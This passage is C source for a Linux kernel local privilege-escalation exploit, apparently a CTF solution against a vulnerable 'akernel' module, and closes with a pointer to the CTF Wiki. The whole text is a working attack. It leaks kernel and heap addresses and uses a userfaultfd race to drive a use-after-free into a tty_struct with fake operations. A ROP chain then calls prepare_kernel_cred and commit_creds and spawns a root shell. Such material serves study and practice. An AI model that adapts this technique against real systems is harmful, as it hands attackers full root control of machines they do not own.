   preg->uffd=syscall(__NR_userfaultfd,__O_CLOEXEC|O_NONBLOCK);
   if(preg->uffd<0){
      errExit("__NR_userfaultfd");
   }
   preg->uapi.api=UFFD_API;
   preg->uapi.features=0;
   if(ioctl(preg->uffd,UFFDIO_API,&preg->uapi)<0)errExit("ioctl ->UFFDIO_API");
   preg->uregister.mode=UFFDIO_REGISTER_MODE_MISSING;
   preg->uregister.range.start=addr;
   preg->uregister.range.len=length;
   if(ioctl(preg->uffd,UFFDIO_REGISTER,&preg->uregister)<0)errExit("ioctl -> UFFDIO_REGISTER");
   pthread_t thread;
   if(pthread_create(&thread,NULL,handler,(void*)preg->uffd)<0)errExit("pthread_create handler");
   YELLOW;printf("Register_Userfalutfd END");CLOSE;
}

void Userfault_Handler(int uffd){
   RED;printf("Userfault_Handler START");CLOSE;
   struct uffd_msg msg={0};
   struct uffdio_copy ufcopy={0};
   size_t* data=(size_t*)mmap(NULL,0x1000,3,0x20|0x2,-1,0);
   if(data<0)errExit("Userfault_Handler mmap");
   size_t fake_tty_operation[0x20] = {
         0xffffffff00000000,
         0xffffffff00000001,
         0xffffffff00000002,
         0xffffffff00000003,
         0xffffffff00000004,
         0xffffffff00000005,
         0xffffffff00000006,
         0xffffffff00000007,
         0xffffffff00000008,
         0xffffffff00000009,
         0xffffffff0000000a,
         0xffffffff0000000b,
         0xffffffff0000000c
   };
   size_t offset=vmlinux_base-raw_vmlinux_base;
   size_t rop[0x20]={
         0,
         0xffffffff81001518+offset,
         0,
         prepare_kernel_cred,
         0xffffffff81000c66+offset,
         0xffffffff,
         0xffffffff81a73934+offset,
         0xffffffff817e7164+offset,
         commit_creds,
         swapgs_restore_regs_and_return_to_usermode+0x16,
         0,
         0,
         getshell,
         user_cs,
         user_rflags,
         user_sp,
         user_ss
   };
   int idx=20;
   data[0]=0x0000000100005401;
   data[1]=0;
   data[2]=heap_addr;
   data[3]=heap_addr;
   data[12]= 0xffffffff81ada33d+offset;

   for (size_t i = 0; i < 20; i++)
   {
      data[idx++]=rop[i];
   }

 /*
0xffffffff81ada33d : push rdx ; dec dword ptr [rdi] ; or ebx, dword ptr [rbp + 0x41] ; pop rsp ; pop r13 ; ret
0xffffffff81001518 : pop rdi ; ret
0xffffffff817e7164 : mov rdi, rax ; jne 0xffffffff817e7151 ; xor eax, eax ; ret
0xffffffff81a73934 : cmp bh, 0xff ; ret
0xffffffff81000c66 : pop rbx ; ret
 */  
   do
   {
      struct pollfd pf={0};
      pf.fd=uffd;
      pf.events=POLLIN;
      poll(&pf,1,-1);
      read(uffd,&msg,sizeof(msg));
      if(msg.event<=0){
         printf("event NULL");
         continue;
      }
      RED;printf("sem step 0");CLOSE;
      sem_post(&sem[0]);
      sem_wait(&sem[1]);
      RED;printf("sem step 1");CLOSE;
      ufcopy.dst=msg.arg.pagefault.address & ~(sysconf(_SC_PAGE_SIZE)-1);
      ufcopy.src=data;
      ufcopy.len=sysconf(_SC_PAGE_SIZE);
      ioctl(uffd,UFFDIO_COPY,&ufcopy);

      sem_post(&sem[2]);
      break;

   } while (1);



   RED;printf("Userfault_Handler END");CLOSE;
}


void Create(){
   ioctl(dev_fd,0xFF00,0);
}
void Qmemcry(size_t addr){
   ioctl(dev_fd,0xFF04,addr);
}
int FILE_ttyfd;
void uaf(){
   RED;printf("uaf start");CLOSE;
   sem_wait(&sem[0]);
   ioctl(dev_fd,0xFF01,0);
   FILE_ttyfd=open("dev/ptmx",2);
   sem_post(&sem[1]);
   RED;printf("uaf end");CLOSE;
}
/*

cat /sys/module/akernel/sections/.text.akernel_ioctl
*/
int main(void){
    save_status();
    BLUE;puts("[*]start");CLOSE;
    dev_fd = open(FileAttack,2);
    if(dev_fd < 0){
        errExit(FileAttack);
    }
   Create();
   size_t ptr=0xfffffe0000000000+4;
   Qmemcry(ptr);
   char buf[0x208]={0};
   read(dev_fd,buf,0x200);
   size_t* _buf64 =(size_t*)buf;
   vmlinux_base=_buf64[0]-0x208E00;
   RED;printf("vmlinux_base -> 0x%llx",vmlinux_base);CLOSE;

   commit_creds=0x4989D0+vmlinux_base;
   prepare_kernel_cred=vmlinux_base+0x498E10;
   swapgs_restore_regs_and_return_to_usermode=vmlinux_base+0x200DF0;

   size_t akernel_base=0;
   Qmemcry(vmlinux_base+0x1407a98);
   read(dev_fd,buf,0x200);
   akernel_base=*(size_t*)buf;
   RED;printf("akernel_base -> 0x%llx",akernel_base);CLOSE;

   size_t heap_offset=0x2528;
   Qmemcry(akernel_base+heap_offset);
   read(dev_fd,buf,0x200);
   heap_addr=*(size_t*)buf;
   RED;printf("heap_addr -> 0x%llx",heap_addr);CLOSE;


   sem_init(&sem[0],0,0);
   sem_init(&sem[1],0,0);
   sem_init(&sem[2],0,0);
   void* map=mmap(0,0x1000,PROT_WRITE|PROT_READ,MAP_PRIVATE|0x20,-1,0);
   Register_Userfalutfd(map,0x1000,Userfault_Handler);
   pthread_t thread;
   if(pthread_create(&thread,0,(void* (*)(void*))uaf,0)<0)errExit("main pthread_create uaf");
   write(dev_fd,map,0x2e0);
   sem_wait(&sem[2]);
   RED;printf("sem step 2");CLOSE;
   sleep(1);
   ioctl(FILE_ttyfd,0,heap_addr+(0x8*20));
   return 0;
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}


void getshell(void)
{   
    BLUE;printf("[*]Successful");CLOSE;
    system("/bin/sh");
}

void showAddr(char*name,size_t data){
   char buf[256]={0};
   sprintf(buf,"[*] %s -> 0x%llx !",name,data);
   BLUE;printf(buf);CLOSE;
}
void errExit(char * msg){
   char buf[128]={0};
   sprintf(buf,"[X] Error : %s !",msg);
   RED;printf(buf);CLOSE;
   exit(-1);
}

参考:内核堆概述 - CTF Wiki